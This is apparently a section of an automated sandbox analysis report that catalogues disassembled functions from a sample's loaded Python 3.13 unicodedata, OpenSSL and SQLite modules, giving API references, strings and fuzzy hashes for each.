Instruction ID: ddc1f9d0a459be51da4779758c33443adca2e9834f9bb6d20d4064d1bdc458cc
Opcode Fuzzy Hash: 38111a63339efb7e7fc13a2fb447c6da4c77d5ba108c043dbd7b2e9ba07b205e
Instruction Fuzzy Hash: F1516932708B84D2D7949B25E5807AEB7A8FB88B80F514026EF9C87765DF7DD0A1C700

Function 00007FFE01301000 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 93COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON313 ref: 00007FFE01301097
PyUnicode_FromString.PYTHON313 ref: 00007FFE013010BF
_PyArg_BadArgument.PYTHON313 ref: 00007FFE013038B0

Strings

argument, xrefs: 00007FFE013038A2
a unicode character, xrefs: 00007FFE0130389B
bidirectional, xrefs: 00007FFE013038A9

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: a unicode character$argument$bidirectional
API String ID: 1318908108-2110215792
Opcode ID: 20e64b3dea6743d8d76ee490ceeb3f1ff441adf4638d8619ffabdd99ac876f95
Instruction ID: d859cecec8312036b9589c4259595baa29dc5b2ebd7945f0d13f4b5f3b28ba9b
Opcode Fuzzy Hash: 20e64b3dea6743d8d76ee490ceeb3f1ff441adf4638d8619ffabdd99ac876f95
Instruction Fuzzy Hash: A131B162F1868281FB5ACB9184713B927E1EB84B90F4A103DDA8F4B6A1CE2DE954C340

Function 00007FFE013B215D Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE013E1680: ERR_new.LIBCRYPTO-3(?,?,?,?,00000020,?,?,00007FFE013E2C00), ref: 00007FFE013E1745
Part of subcall function 00007FFE013E1680: ERR_set_debug.LIBCRYPTO-3(?,?,?,?,00000020,?,?,00007FFE013E2C00), ref: 00007FFE013E1765

OPENSSL_cleanse.LIBCRYPTO-3 ref: 00007FFE013E2E48

Strings

, xrefs: 00007FFE013E2ED6
0, xrefs: 00007FFE013E2E86
extended master secret, xrefs: 00007FFE013E2E1F
master secret, xrefs: 00007FFE013E2ECF
, xrefs: 00007FFE013E2EB7

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: L_cleanseR_newR_set_debug
String ID: $ $0$extended master secret$master secret
API String ID: 4043487175-741269486
Opcode ID: 632837cd04c36d3e08a8e14a74e7fba73ae231988af0ccfaa73eecf7652ab137
Instruction ID: c18ab9b32a0e4c91d30bfde2ec44b308da5e741b222e87e9c31869f5fa262714
Opcode Fuzzy Hash: 632837cd04c36d3e08a8e14a74e7fba73ae231988af0ccfaa73eecf7652ab137
Instruction Fuzzy Hash: F8411772608B8581E720CB15F88039AB6E8FB887C4F544135EACC4ABB9EF7DD155CB00

Function 00007FFE013B19CE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE01402646
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140265E

Strings

..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FFE01402657, 00007FFE0140271D
tls_construct_ctos_ec_pt_formats, xrefs: 00007FFE0140264B, 00007FFE01402711

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions_clnt.c$tls_construct_ctos_ec_pt_formats
API String ID: 193678381-302162076
Opcode ID: 2e6f849943d6a0d85471fc6859da793c24f887d7c1d3d7d27a83da3f673b6f4c
Instruction ID: 77b6d37f4b0d859e852d6cc918d861bad61f1a8b4723be8704d70c42b7879426
Opcode Fuzzy Hash: 2e6f849943d6a0d85471fc6859da793c24f887d7c1d3d7d27a83da3f673b6f4c
Instruction Fuzzy Hash: A431A121B0C68241F721A792F9516BAA351EF847D4F480135EE4D4FBFAEEBCE9458B40

Function 00007FFE013B1208 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013D936B
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D9383
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D9395
conf_ssl_name_find.LIBCRYPTO-3 ref: 00007FFE013D93C0
ERR_new.LIBCRYPTO-3 ref: 00007FFE013D93D2
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013D93EA
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013D9408
OSSL_LIB_CTX_set0_default.LIBCRYPTO-3 ref: 00007FFE013D94B2
conf_ssl_get_cmd.LIBCRYPTO-3 ref: 00007FFE013D94E0
OSSL_LIB_CTX_set0_default.LIBCRYPTO-3 ref: 00007FFE013D9527

Strings

ssl_do_config, xrefs: 00007FFE013D9370
..\s\ssl\ssl_mcnf.c, xrefs: 00007FFE013D937C

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debugR_set_errorX_set0_default$conf_ssl_get_cmdconf_ssl_name_find
String ID: ..\s\ssl\ssl_mcnf.c$ssl_do_config
API String ID: 4067701900-1861514004
Opcode ID: d35d3c23a075dbd18a00e5cbd0f65a7bdb921d6ef15894a829648fb3bc9ffbb4
Instruction ID: d2844466ccdff5ab008113eb1e780bac9df8d64ffd2b3ec22a32899bf56e5bd1
Opcode Fuzzy Hash: d35d3c23a075dbd18a00e5cbd0f65a7bdb921d6ef15894a829648fb3bc9ffbb4
Instruction Fuzzy Hash: A201F982F0E14252F75466D27C02BFE51416F517C4F818034EE0D0F7F2ED2CA9868341

Function 00007FFE013B11C2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C7DB
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C7F3
ERR_new.LIBCRYPTO-3 ref: 00007FFE0140C816
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0140C82E

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFE0140C7EC, 00007FFE0140C827
tls_parse_ctos_maxfragmentlen, xrefs: 00007FFE0140C7E0, 00007FFE0140C81B

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions_srvr.c$tls_parse_ctos_maxfragmentlen
API String ID: 193678381-2768509386
Opcode ID: 5d9f5a8872d72cd0dda0591356085c1abdf8c58afb537907996113654a1c6f1e
Instruction ID: 55196e9b8f757e418dac9b97d5af0e1c1b0e975b99575cc68bfdd48a72c33e3d
Opcode Fuzzy Hash: 5d9f5a8872d72cd0dda0591356085c1abdf8c58afb537907996113654a1c6f1e
Instruction Fuzzy Hash: 4D11BF71F09A8382F791A7A1E8917FC2251EB91B40F984135DA0D4BBF2EE2CDAD18304

Function 00007FFE013FE080 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE0B3
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FE0CB
ERR_new.LIBCRYPTO-3 ref: 00007FFE013FE109
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013FE121

Strings

..\s\ssl\statem\extensions.c, xrefs: 00007FFE013FE0C4, 00007FFE013FE11A
final_renegotiate, xrefs: 00007FFE013FE0B8, 00007FFE013FE10E

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ..\s\ssl\statem\extensions.c$final_renegotiate
API String ID: 193678381-1135624566
Opcode ID: d4426147b3ccce134b531e04148ddf8622f480012cec1f154ba5b40c37154f52
Instruction ID: 84f15e3eda81b41ca77a779e24bd7a7cebd00301fd6d53990e350248b610ee11
Opcode Fuzzy Hash: d4426147b3ccce134b531e04148ddf8622f480012cec1f154ba5b40c37154f52
Instruction Fuzzy Hash: 1311A522F1A18343FB50B795E886BF81240EF92341F994034D90C5E7F2DE7DA9D28701

Function 00007FFE01301160 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 40COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE01303901
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01303934

Part of subcall function 00007FFE013011C0: PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE013011F2
Part of subcall function 00007FFE013011C0: PyUnicode_CompareWithASCIIString.PYTHON313 ref: 00007FFE0130120A
Part of subcall function 00007FFE013011C0: PyType_IsSubtype.PYTHON313 ref: 00007FFE0130122D

Strings

normalize, xrefs: 00007FFE013038F4, 00007FFE0130392D
str, xrefs: 00007FFE01303926
argument 1, xrefs: 00007FFE01303913
argument 2, xrefs: 00007FFE0130391F

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_CompareStringUnicode_With$ArgumentCheckPositionalSubtypeType_
String ID: argument 1$argument 2$normalize$str
API String ID: 4101545800-1320425463
Opcode ID: 85e1f99dde411cb278f0b98270a6e8254a8096954b810f161da5d99ca4afd163
Instruction ID: cd220f12eaccdba6411c9729902552cd38f795861f8a31ca095c5ce09b38087a
Opcode Fuzzy Hash: 85e1f99dde411cb278f0b98270a6e8254a8096954b810f161da5d99ca4afd163
Instruction Fuzzy Hash: 72118461B0868694EB558B96E8A17B523E0FF04FC4F8A803AD90D0F778DE3CD585C700

Function 00007FFE01304AF4 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON313 ref: 00007FFE01304B20
_PyArg_BadArgument.PYTHON313 ref: 00007FFE01304B55

Strings

str, xrefs: 00007FFE01304B47
argument 1, xrefs: 00007FFE01304B40
is_normalized, xrefs: 00007FFE01304B13, 00007FFE01304B4E
argument 2, xrefs: 00007FFE01304B76

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositional
String ID: argument 1$argument 2$is_normalized$str
API String ID: 3876575403-184702317
Opcode ID: 35f64efe301dec1c03658f0adf9c06da03441c8ba11caf4cd01179e65ab3153d
Instruction ID: 57f0a11d394d96ce602960bf0afa7de8e7b9f50648f473e397d16113a8e25eb1
Opcode Fuzzy Hash: 35f64efe301dec1c03658f0adf9c06da03441c8ba11caf4cd01179e65ab3153d
Instruction Fuzzy Hash: B1019261B08A8694EB518B82E8A17B563E1EF44FC4F868039DA4D0F774DF3CD685C740

Function 00007FFDFF1F6680 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1F67CB
memcpy.VCRUNTIME140 ref: 00007FFDFF1F6812
memcpy.VCRUNTIME140 ref: 00007FFDFF1F6A9E

Strings

foreign key on %s should reference only one column of table %T, xrefs: 00007FFDFF1F6705
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FFDFF1F672E
unknown column "%s" in foreign key definition, xrefs: 00007FFDFF1F6A2E

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 438689982-272990098
Opcode ID: 17dadccf38f11607ba6f758a9991ceaabd914a748fe478426491e839f44d4863
Instruction ID: c06ccb83b3e11ff37a1d89b008d3d91645b3b3b5b7844abf9df99c5accf49249
Opcode Fuzzy Hash: 17dadccf38f11607ba6f758a9991ceaabd914a748fe478426491e839f44d4863
Instruction Fuzzy Hash: E9D19B63F09BC286EB608B169464AB96BA5EB55BD4F484235DE7E037D9DF3CE441C300

Function 00007FFDFF1B55D0 Relevance: 9.3, APIs: 3, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1B579D
memcpy.VCRUNTIME140 ref: 00007FFDFF1B5985
memcpy.VCRUNTIME140 ref: 00007FFDFF1B599A

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B562D
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B5615
database corruption, xrefs: 00007FFDFF1B5621

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 438689982-3727861699
Opcode ID: 5dc20ad9749f576e2bdd85d432535949bff597f47a50de2b10b80a5b4d618dbe
Instruction ID: d89c02464009a1371874bf2d9a1988f05281fb3c2a57cb74679b31a9961f6902
Opcode Fuzzy Hash: 5dc20ad9749f576e2bdd85d432535949bff597f47a50de2b10b80a5b4d618dbe
Instruction Fuzzy Hash: 3ED19C73B08686C6DB60CF269060AA9B7A1FB84B84F554232DF6D8779DEF38D841C740

Function 00007FFDFF1B92C0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 217COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FFDFF1B937B
memmove.VCRUNTIME140 ref: 00007FFDFF1B940D
memmove.VCRUNTIME140 ref: 00007FFDFF1B948C

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B9355
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B933D
database corruption, xrefs: 00007FFDFF1B9349

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2162964266-3727861699
Opcode ID: 0f045e69ece5e58a5605bba3c1eb72ead89470c58f18165752d3b17f3c0f85b3
Instruction ID: 6063b051944851b85004f5d52ad44b9fca2ad1b6cfd3494a486a95ced8b7ba82
Opcode Fuzzy Hash: 0f045e69ece5e58a5605bba3c1eb72ead89470c58f18165752d3b17f3c0f85b3
Instruction Fuzzy Hash: 1291D463B0868586C720DF25D594AAEBBA0FB45B84F444232DFAD83B99DF3CD156CB40

Function 00007FFDFF1E7CA0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 215COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1E7E64
memcpy.VCRUNTIME140 ref: 00007FFDFF1E7EAE
memcpy.VCRUNTIME140 ref: 00007FFDFF1E7F19

Strings

Cannot add a column to a view, xrefs: 00007FFDFF1E7D54
sqlite_altertab_%s, xrefs: 00007FFDFF1E7E6D
virtual tables may not be altered, xrefs: 00007FFDFF1E7D38

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 438689982-2063813899
Opcode ID: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
Instruction ID: 7612b7c08480b031845ad683651aa19786251ac1c2342c23b9bd93c29dd7c418
Opcode Fuzzy Hash: 6f3502865f2554c3b22856db225aa2943b439a183bdfd32a53b0fa553fb1f819
Instruction Fuzzy Hash: A8918C63B09B8182EB64CB15E460AB977A5FB49B84F458335DEBD47789EF38E445C300

Function 00007FFDFF1B8690 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 212COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF1B884C
memmove.VCRUNTIME140 ref: 00007FFDFF1B8884
memcpy.VCRUNTIME140 ref: 00007FFDFF1B8951

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFF1B8746
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1B872C
database corruption, xrefs: 00007FFDFF1B873F

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy$memmove
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 1283327689-3727861699
Opcode ID: 18ed6f349fa8df90b545674691f7bb4008a36ffe479325eff14730e8886acda7
Instruction ID: b0f20b81b2f6db7fbf9780166d33ff678273c5e46393c56efffdde7e6b0fee1b
Opcode Fuzzy Hash: 18ed6f349fa8df90b545674691f7bb4008a36ffe479325eff14730e8886acda7
Instruction Fuzzy Hash: 8891C263B082C286DB108B26D1A0ABD77A1FB80B95F044236DBAD876D9DF3CE456C744

Function 00007FFDFF1C8F60 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-8000000000000000,?,00000000,00007FFDFF20D0A0), ref: 00007FFDFF1C90FD

Strings

API called with finalized prepared statement, xrefs: 00007FFDFF1C8F8C
API called with NULL prepared statement, xrefs: 00007FFDFF1C8F74
%s at line %d of [%.10s], xrefs: 00007FFDFF1C8FC3
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF1C8FAA
misuse, xrefs: 00007FFDFF1C8FB7

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 3510742995-3538577999
Opcode ID: 1138e4807ea9e4f4c120376afa4905e93db09ef36e921d64360f39836070fc70
Instruction ID: 6657b98309a0d4fe4a39508c98a7dee79ec237af30780f92f1b67640534a0669
Opcode Fuzzy Hash: 1138e4807ea9e4f4c120376afa4905e93db09ef36e921d64360f39836070fc70
Instruction Fuzzy Hash: D651AD23F09A9285FB249F159461AF86796AF41BA4F894335CA7D873CDDF2DE8418340

Function 00007FFE013ED191 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

BIO_indent.LIBCRYPTO-3 ref: 00007FFE013ED1C1
BIO_printf.LIBCRYPTO-3 ref: 00007FFE013ED1F7
BIO_indent.LIBCRYPTO-3 ref: 00007FFE013ED25C
BIO_printf.LIBCRYPTO-3 ref: 00007FFE013ED28E

Strings

%s (%d), xrefs: 00007FFE013ED1EA, 00007FFE013ED284

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
